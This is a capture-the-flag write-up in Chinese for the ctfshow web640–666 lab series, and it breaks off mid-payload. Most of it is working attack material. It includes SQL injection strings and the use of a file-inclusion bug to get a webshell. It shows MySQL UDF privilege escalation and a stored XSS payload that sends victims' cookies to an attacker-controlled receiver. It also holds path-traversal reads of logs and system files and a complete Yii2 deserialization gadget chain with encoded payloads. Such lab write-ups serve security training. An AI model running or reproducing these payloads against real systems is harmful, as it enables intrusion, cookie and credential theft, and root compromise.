web640

访问网页即可

web641

flag在响应头中

web642

查看html代码中有路径system36d
访问该路径

web643

扫描该目录,发现文件secret.txt

web644

跳转到login.php,是一个前端js加密的锁,密码为0x36d
也可以在js代码中找到flag,跳转页面checklogin.php?s=10

web645

通过数据备份功能,下载备份文件

web646

通过网络测试功能处,获取到绝对路径

通过扫描目录,发现robots.txt文件

访问source.txt文件,发现是用户管理和网络测试处的源码信息

include 'init.php';

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function initCache(){
	return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}

function clearCache(){
	shell_exec('rm -rf cache.php');
	return 'ok';
}

function flushCache(){
	if(file_exists('cache.php') && file_get_contents('cache.php')===false){
		return FLAG646;
	}else{
		return '';
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
		
	}
	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

分析代码,发现网络测试功能处的命令执行做了限制,只允许ping加ip形式,或者是全字母形式。
FLAG646显然是定义在init.php文件中。

远程更新功能处存在SSRF漏洞,可以使用file协议读取文件

web647

使用命令执行功能查看目录下文件

再使用SSRF读取文件users.php

<?php


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
	case 'list':
		$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
		break;
	case 'add':
		$ret = addUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'del':
		$ret = delUser($data,$_GET['username']);
		break;
	case 'update':
		$ret = updateUser($data,$_GET['username'],$_GET['password']);
		break;
	case 'backup':
		backupUsers();
		break;
	case 'upload':
		$ret = recoveryUsers();
		break;
	case 'phpInfo':
		$ret = phpInfoTest();
		break;
	case 'netTest':
		$ret = netTest($_GET['cmd']);
		break;
	case 'remoteUpdate':
		$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
		break;
	case 'authKeyValidate':
		$ret = authKeyValidate($_GET['auth']);
		break;
	case 'evilString':
		evilString($_GET['m']);
		break;
	case 'evilNumber':
		evilNumber($_GET['m'],$_GET['key']);
		break;
	case 'evilFunction':
		evilFunction($_GET['m'],$_GET['key']);
		break;
	case 'evilArray':
		evilArray($_GET['m'],$_GET['key']);
		break;
	case 'evilClass':
		evilClass($_GET['m'],$_GET['key']);
		break;
	default:
		$ret = json_encode(array(
		'code'=>0,
		'message'=>'数据获取失败',
		));
		break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
	$ret = array(
		'code'=>0,
		'message'=>'数据获取成功',
		'data'=>array()
	);

	
	$isadmin = '否';
	$pass = '';
	$content='无';

	$users = explode('|', $data);
	array_pop($users);
	$index = 1;

	foreach ($users as $u) {
		if(explode('@', $u)[0]=='admin'){
			$isadmin = '是';
			$pass = 'flag就是管理员的密码,不过我隐藏了';
			$content = '删除此条记录后flag就会消失';
		}else{
			$pass = explode('@', $u)[1];
		}
		array_push($ret['data'], array(
			'id'=>$index,
			'username'=>explode('@', $u)[0],
			'password'=>$pass,
			'isAdmin'=>$isadmin,
			'content'=>$content
		));
		$index +=1;
	}
	$ret['count']=$index;
	$start = ($page-1)*$limit;
	$ret['data']=array_slice($ret['data'], $start,$limit,true);

	return json_encode($ret);

}

function addUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'添加成功'
	);
	if(existsUser($data,$username)==0){
		$s = $data.$username.'@'.$password.'|';
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户已存在';
	}

	return json_encode($ret);
}

function updateUser($data,$username,$password){
	$ret = array(
		'code'=>0,
		'message'=>'更新成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', $username.'@'.$password.'|', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权更新';
	}

	return json_encode($ret);
}

function delUser($data,$username){
	$ret = array(
		'code'=>0,
		'message'=>'删除成功'
	);
	if(existsUser($data,$username)>0 && $username!='admin'){
		$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', '', $data);
		file_put_contents(DB_PATH, $s);

	}else{
		$ret['code']=-1;
		$ret['message']='用户不存在或无权删除';
	}

	return json_encode($ret);

}

function existsUser($data,$username){
	return preg_match('/'.$username.'@[0-9a-zA-Z]+\\|/', $data);
}

function backupUsers(){
	$file_name = DB_PATH;
	if (! file_exists ($file_name )) {    
	    header('HTTP/1.1 404 NOT FOUND');  
	} else {    
	    $file = fopen ($file_name, "rb" ); 
	    Header ( "Content-type: application/octet-stream" ); 
	    Header ( "Accept-Ranges: bytes" );  
	    Header ( "Accept-Length: " . filesize ($file_name));  
	    Header ( "Content-Disposition: attachment; filename=backup.dat");     
	    echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));    
	    fclose ( $file );    
	    exit ();    
	}
}

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }


function recoveryUsers(){
	$ret = array(
		'code'=>0,
		'message'=>'恢复成功'
	);
	if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
		$file_name= $_FILES['file']['tmp_name'];
		$result = move_uploaded_file($file_name, DB_PATH);
		if($result===false){
			$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
		}

	}else{
		$ret['message']='数据恢复失败';
	}

	return json_encode($ret);
}

function phpInfoTest(){
	return phpinfo();

}

function authKeyValidate($auth){
	$ret = array(
		'code'=>0,
		'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
		'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
	);
	return json_encode($ret);
}

function remoteUpdate($auth,$address){
	$ret = array(
		'code'=>0,
		'message'=>'更新失败'
	);

	if($auth!==substr(FLAG645, 8)){
		$ret['message']='权限key验证失败';
		return json_encode($ret);
	}else{
		$content = file_get_contents($address);
		$ret['message']=($content!==false?$content:'地址不可达');
	}

	return json_encode($ret);


}

function evilString($m){
	$key = '372619038';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE){
		echo shell_exec('cat /FLAG/FLAG647');
	}else{
		echo 'you are not 372619038?';
	}

}

function evilClass($m,$k){
	class ctfshow{
		public $m;
		public function construct($m){
			$this->$m=$m;
		}
	}

	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
		echo shell_exec('cat /FLAG/FLAG648');
	}else{
		echo 'mmmmm?';
	}

}

function evilNumber($m,$k){
	$number = getArray(1000,20,10,999);
	if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
		echo shell_exec('cat /FLAG/FLAG649');
	}else{
		echo 'number is right?';
	}
}

function evilFunction($m,$k){
	$key = 'ffffffff';
	$content = call_user_func($m);
	if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
		echo shell_exec('cat /FLAG/FLAG650');
	}else{
		echo 'you are not ffffffff?';
	}
}

function evilArray($m,$k){
	$arrays=unserialize($m);
	if($arrays!==false){
		if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
			echo shell_exec('cat /FLAG/FLAG651');
		}else{
			echo 'array?';
		}
	}
}

function netTest($cmd){
	$ret = array(
		'code'=>0,
		'message'=>'命令执行失败'
	);

	if(preg_match('/^[A-Za-z]+$/', $cmd)){
		$res = shell_exec($cmd);
		stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
	}
	
	return json_encode($ret);
}

查看evilString函数处存在call_user_func,但只能传入一个参数。

设置PHPSESSID的值,再通过session_id这个无参函数可以获得指定值

flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}

web648

继续分析evilClass函数

ctfshow类的定义处,construct魔术方法中使用的是$ctfshow->$m而不是$ctfshow->m,当出现类中没有的变量时,会自动添加一个该变量,如下图所示

所以任意传入m值即可。

flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

web649

继续分析evilNumber函数

getArray函数会生成长度为20的数组number,要求传入m值与number[m]相等。
不传m值,即可使m值为NULL

flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

web650

继续分析evilFunction函数

同样利用session_id函数,使content为ffffffff


flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

web651

继续分析evilArray函数

array_key_exists函数传入类也是可以的
生成反序列化payload

<?php
class devil{
    public $username;

    public function __construct($username)
    {
        $this->username=$username;
    }

}

echo serialize(new devil("ctfshow"));


flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

web652

使用任意文件读取获取page.php源码

<?php


error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';

$id = isset($_GET['id'])?$_GET['id']:'1';

//转义' "  来实现防注入
$id = addslashes($id);

$name = db::get_username($id);
?>


<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>欢迎<?=$name;?>,开启你的ctfshow GAME吧</title>
  <link rel='stylesheet' href='/static/css/page.css'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat&amp;display=swap"rel="stylesheet'><link rel="stylesheet" href="/static/css/page_style.css">

</head>
<body>
<!-- partial:index.partial.html -->
<div class="app">

	<div class="cardList">
		<button class="cardList__btn btn btn--left">
			<div class="icon">
				<svg>
					<use xlink:href="#arrow-left"></use>
				</svg>
			</div>
		</button>

		<div class="cards__wrapper">
			<div class="card current--card">
				<div class="card__image">
					<img src="/static/images/1.jpg" alt="" />
				</div>
			</div>

			<div class="card next--card">
				<div class="card__image">
					<img src="/static/images/2.jpg" alt="" />
				</div>
			</div>

			<div class="card previous--card">
				<div class="card__image">
					<img src="/static/images/3.jpg" alt="" />
				</div>
			</div>
		</div>

		<button class="cardList__btn btn btn--right">
			<div class="icon">
				<svg>
					<use xlink:href="#arrow-right"></use>
				</svg>
			</div>
		</button>
	</div>

	<div class="infoList">
		<div class="info__wrapper">
			<div class="info current--info">
				<h1 class="text name">挑战</h1>
				<h4 class="text location">挑战永不停止</h4>
				<p class="text description">Adventure is never far away</p>
			</div>

			<div class="info next--info">
				<h1 class="text name">勤奋</h1>
				<h4 class="text location">我每天都在努力工作,为的是能够使所有爱我的人以我为荣!</h4>
				<p class="text description">I work hard everyday so that all who love me will be proud of me!</p>
			</div>

			<div class="info previous--info">
				<h1 class="text name">坚持</h1>
				<h4 class="text location">不积跬步,无以至千里</h4>
				<p class="text description">Let your dreams come true</p>
			</div>
		</div>
	</div>


	<div class="app__bg">
		<div class="app__bg__image current--image">
			<img src="/static/images/1.jpg" alt="" />
		</div>
		<div class="app__bg__image next--image">
			<img src="/static/images/2.jpg" alt="" />
		</div>
		<div class="app__bg__image previous--image">
			<img src="/static/images/3.jpg" alt="" />
		</div>
	</div>
</div>

<div class="loading__wrapper">
	<div class="loader--text">Loading...</div>
	<div class="loader">
		<span></span>
	</div>
</div>


<svg class="icons" style="display: none;">
	<symbol id="arrow-left" xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'>
		<polyline points='328 112 184 256 328 400'
					 style='fill:none;stroke:#fff;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px' />
	</symbol>
	<symbol id="arrow-right" xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'>
		<polyline points='184 112 328 256 184 400'
					 style='fill:none;stroke:#fff;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px' />
	</symbol>
</svg>

<!-- partial -->
  <script src='/static/js/imagesloaded.pkgd.min.js'></script>
<script src='/static/js/gsap.min.js'></script>
<script  src="/static/js/script.js"></script>

</body>
</html>

system36d/util/dbutil.php源码

<?php

class db{
    private static $host='localhost';
    private static $username='root';
    private static $password='root';
    private static $database='ctfshow';
    private static $conn;

    public static function get_key(){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query('select `key` from ctfshow_keys');
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['key'];
        self::close();
        return $ret;
    }

    public static function get_username($id){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['username'];
        self::close();
        return $ret;
    }

    private static function get_conn(){
        if(self::$conn==null){
            self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
        }
        return self::$conn;
    }

    private static function close(){
        if(self::$conn!==null){
            self::$conn->close();
        }
    }

}

这里对引号进行了转义,但是使用的括号进行闭合
构造sql注入的payload

?id=0)%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

?id=0)%20union%20select%20*%20from%20ctfshow_secret--+


flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

web653

init.php

<?php

define('DB_PATH', __DIR__.'/db/data_you_never_know.db');
define('FLAG645','flag645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}');
define('FLAG646','flag646=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}');

//存在漏洞,未修补前注释掉
//include 'util/common.php';

util/common.php

<?php

include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
    die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
    if(db::get_key()==$_POST['key']){
        include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
    }
}

使用上题的注入点获取key

?id=0)%20union%20select`key`from%20ctfshow_keys--+

common.php中存在一个任意文件包含,需要找到可以控制写的文件。
/db/data_you_never_know.db这个文件是存储数据库信息的,

使用数据还原功能,修改db数据库内容

使用蚁剑连接shell

地址:https://f6b4bb4c-d634-4733-8975-41c98fa47e08.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
密码:1

使用虚拟终端功能,读取/secret.txt文件
flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}

web654

在/etc目录下发现sudoers.bak文件,正常sudoers文件需要root权限进行读取,这里留有备份文件,显然有问题。查看内容后发现最后一行

mysql ALL=(ALL:ALL) NOPASSWD:ALL

mysql用户拥有特殊权限
利用之前的数据库账号密码,使用udf提权。

使用sqlmap中的udf64.so
sqlmap-dev\data\udf\mysql\linux\64\lib_mysqludf_sys.so_
这个文件是混淆过的,需要使用自带脚本解码

python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf64.so

使用sql语句查询插件目录

show variables like "%plugin%";
返回/usr/lib/mariadb/plugin/

上传udf64.so后,移动到/usr/lib/mariadb/plugin/udf64.so

这里使用蚁剑执行数据库命令时没有响应,改用冰蝎连接数据库。

执行sql语句创建自定义函数

create function sys_eval returns string soname 'udf64.so';

select sys_eval('sudo chmod 777 /root');


这里执行没有回显,所以直接修改root目录权限,然后用普通用户去读取文件。

flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}

web655

查看内网地址为172.2.235.4
每次打开环境生成得ip不一样,所以后面截图可能会有其它地址。

上传fscan扫描C段

发现172.2.141.5上开了许多服务,且存在备份文件泄露
再扫一下目录发现存在phpinfo.php

wget http://172.2.92.5/phpinfo.php里面含有flag

flag_655=ctfshow{aada21bce99ddeab20020ac714686303}

web656

将www.zip也下载下来分析,里面只有一个index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-08-04 15:54:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include 'dbutil.php';
include 'flag.php';

error_reporting(0);
session_start();


$a=$_GET['action'];

switch ($a){
    case 'login':
    	$ret = login($_GET['u'],$_GET['p']);
        break;
    case 'index':
    	$ret = index();
        break;
    case 'main':
    	$ret = main($_GET['m']);
    	break;
    default:
         $ret = json_encode(array(
		'code'=>0,
		'message'=>'数据获取失败',
		));
		break;
}


echo $ret;


function index(){
    $html='管理员请注意,下面是最近登陆失败用户:<br>';
    $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3');
    foreach ($ret as $r) {
    	$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
    	.$r[1]
    	.'<br>登陆失败IP: '
    	.$r[2].
    	'<br>------------<br>';
    }
    return $html;
    
}

function login($u,$p){
	$ret = array(
	'code'=>0,
	'message'=>'数据获取失败',
	);
	$u = addslashes($u);
	$p = addslashes($p);
	$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
	$date = new DateTime('now');
	$now = $date->format('Y-m-d H:i:s');
	$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
	

	if(count($res)==0){
 		 db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
		 $ret['message']='账号或密码错误';
		 return json_encode($ret);
	}

	if(!auth()){
		$ret['message']='AuthKey 错误';
	}else{
		$ret['message']='登陆成功';
		$_SESSION['login']=true;
		$_SESSION['flag_660']=$_GET['flag'];
	}

	return json_encode($ret);


}

function auth(){
	$auth = base64_decode($_COOKIE['auth']);
	return $auth==AUTH_KEY;
}

function getFlag(){
	return  FLAG_657;
}

function testFile($f){
	$result = '';
	$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
	if(file_exists($file)){
		$result = FLAG_658;
	}
	return $result;

}


function main($m){
	$ret = array(
	'code'=>0,
	'message'=>'数据获取失败',
	);
	if($_SESSION['login']==true){
		
		switch ($m) {
			case 'getFlag':
				$ret['message']=getFlag();
				break;
			case 'testFile':
				$ret['message']=testFile($_GET['f']);
				break;
			default:
				# code...
				break;
		}
		

	}else{
		$ret['message']='请先登陆';
	}

	return json_encode($ret);
}

index页面只对用户名进行了转义,而登录ip我们也是可以控制得。

先写个xss的接收端
xss.php

<?php
    file_put_contents("info.txt",$_GET['cookie']);

xss payload

curl -H "X-Forwarded-for:@header.txt" http://172.2.97.5/index.php?action=login&u=1&p=1

header.txt

<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,57,55,46,52,47,120,115,115,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie;</script>
//根据需要修改地址:'http://172.2.97.4/xss.php?cookie='

查看info.txt内容,接收到cookie

PHPSESSID=15kkrpp1aoj1merne68li5n6l2; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=

将auth解码后得到flag

flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}

web657

使用cookie登录
蚁剑中的shell很多字符会冲突,比如; ``&,需要进行转义

curl --cookie "PHPSESSID=15kkrpp1aoj1merne68li5n6l2"  "http://172.2.97.5/index.php?action=main\&m=getFlag"

flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}

web658

分析testFIle函数,要求生成随机文件名,然后用file_exists()函数判断存在文件。

服务器上有python3,使用python脚本,模拟ftp应答。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print('listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'220 a\n')
conn.send(b'230 a\n')
conn.send(b'200 a\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.close()

payload

curl --cookie "PHPSESSID=15kkrpp1aoj1merne68li5n6l2"  "http://172.2.97.5/index.php?action=main\&m=testFile\&f=ftp://172.2.97.4/a"

flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}

web659

扫描目录发现robots.txt
查看内容发现存在public目录
查看public目录

<html>
<head><title>Index of /public/</title></head>
<body>
<h1>Index of /public/</h1><hr><pre><a href="../">../</a>
<a href="Readme.txt">Readme.txt</a>                                         07-Aug-2021 19:51                 123
</pre><hr></body>
</html>

Readme.txt内容

恭喜师傅来到第二关!

第二关相比第一关,依旧是没有难度。

glhf!

               ctshow 大菜鸡

这里存在目录穿越,访问/publi../

找到FLAG目录下存在flag

wget http://172.2.97.5/public../FLAG/flag659.txt

flag_659=ctfshow{73c4213829f8b393b2082bacb4253cab}

web660

从www.zip中的index.php知道flag_660可能在log中。

if(!auth()){
      $ret['message']='AuthKey 错误';
   }else{
      $ret['message']='登陆成功';
      $_SESSION['login']=true;
      $_SESSION['flag_660']=$_GET['flag'];
   }

读取日志文件

wget http://172.2.97.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log

找到flag

[20/Apr/2024:10:02:28 +0000]:172.2.97.6-GET /index.php HTTP/1.1-200
[20/Apr/2024:10:02:30 +0000]:172.2.97.6-GET /index.php?action=login&u=admin&p=nE7jA5m&flag=flag_660_ctfshow{23e56d95b430de80c7b5806f49a14a2b} HTTP/1.1-200
[20/Apr/2024:10:02:32 +0000]:172.2.97.6-GET /index.php?action=index HTTP/1.1-200

flag_660=ctfshow{23e56d95b430de80c7b5806f49a14a2b}

web661

wget http://172.2.97.5/public../home/flag/secret.txt

flag_661=ctfshow{d41c308e12fdecf7782eeb7c20f45352}

web662

wget http://172.2.97.5/public../home/www-data/creater.sh

creater.sh

#!/bin/sh

file=`echo $RANDOM|md5sum|cut -c 1-3`.html
echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file

生成3个随机字母名的文件

编写脚本进行爆破

import requests


list='0123456789abcdef'

for i in list:
    for j in list:
        for k in list:
            r = requests.get(url="http://172.2.97.5/"+str(i)+str(j)+str(k)+".html").text
            if("404" not in r):
                print(r)
                break

蚁剑中执行python脚本回显看不到,将结果写入到output.txt
使用

python3 burp.py > output.txt

flag_662=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}

web663

从phpinfo.php得到extention目录

wget http://172.2.97.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731

目录下有个ctfshow.so

wget http://172.2.97.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/ctfshow.so

得到flag
flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}

web664

根据之前端口扫描结果,8888端口开放了一个oa

curl http://172.2.97.5:8888

根据链接提示,以及YII指纹信息

使用反序列化payload,参考文章https://cn-sec.com/archives/710314.html
这里payload需要两次urlencode。

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(urlencode(serialize(new RunProcess())));
}

namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){highlight_file('/var/oa/flag664.php');die();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

这里需要注意,反序列化中使用了闭包函数,参考文章https://www.anquanke.com/post/id/251366#h2-6

正常的闭包函数不可以反序列化,需要导入依赖
https://github.com/opis/closure

因为YII2中刚好使用了这个依赖,所以构造反序列化链可以使用它,主要是为了解决call_user_func()函数只有第一个参数可控的情况。

访问获取参数名

传参根据报错信息知道还要传入key
并且下面泄露了nginx和yii2的版本号

payload

echo `curl "http://172.2.170.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A212%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A57%253A%2522function%2528%2529%257B%255Chighlight_file%2528%2527%252Fvar%252Foa%252Fflag664.php%2527%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000003e2c05af0000000026b075cb%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D
"`;

flag_664=ctfshow{35802d184dba134bdc8d0d23e09051f7}

web665

wget http://172.2.97.5/public../FLAG665

flag_665=ctfshow{35802d184dba134bdc8d0d23e09051f7}

web666

flag在oa主机的数据库中

使用前面的反序列化漏洞执行任意命令。

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(urlencode(serialize(new RunProcess())));
}

namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
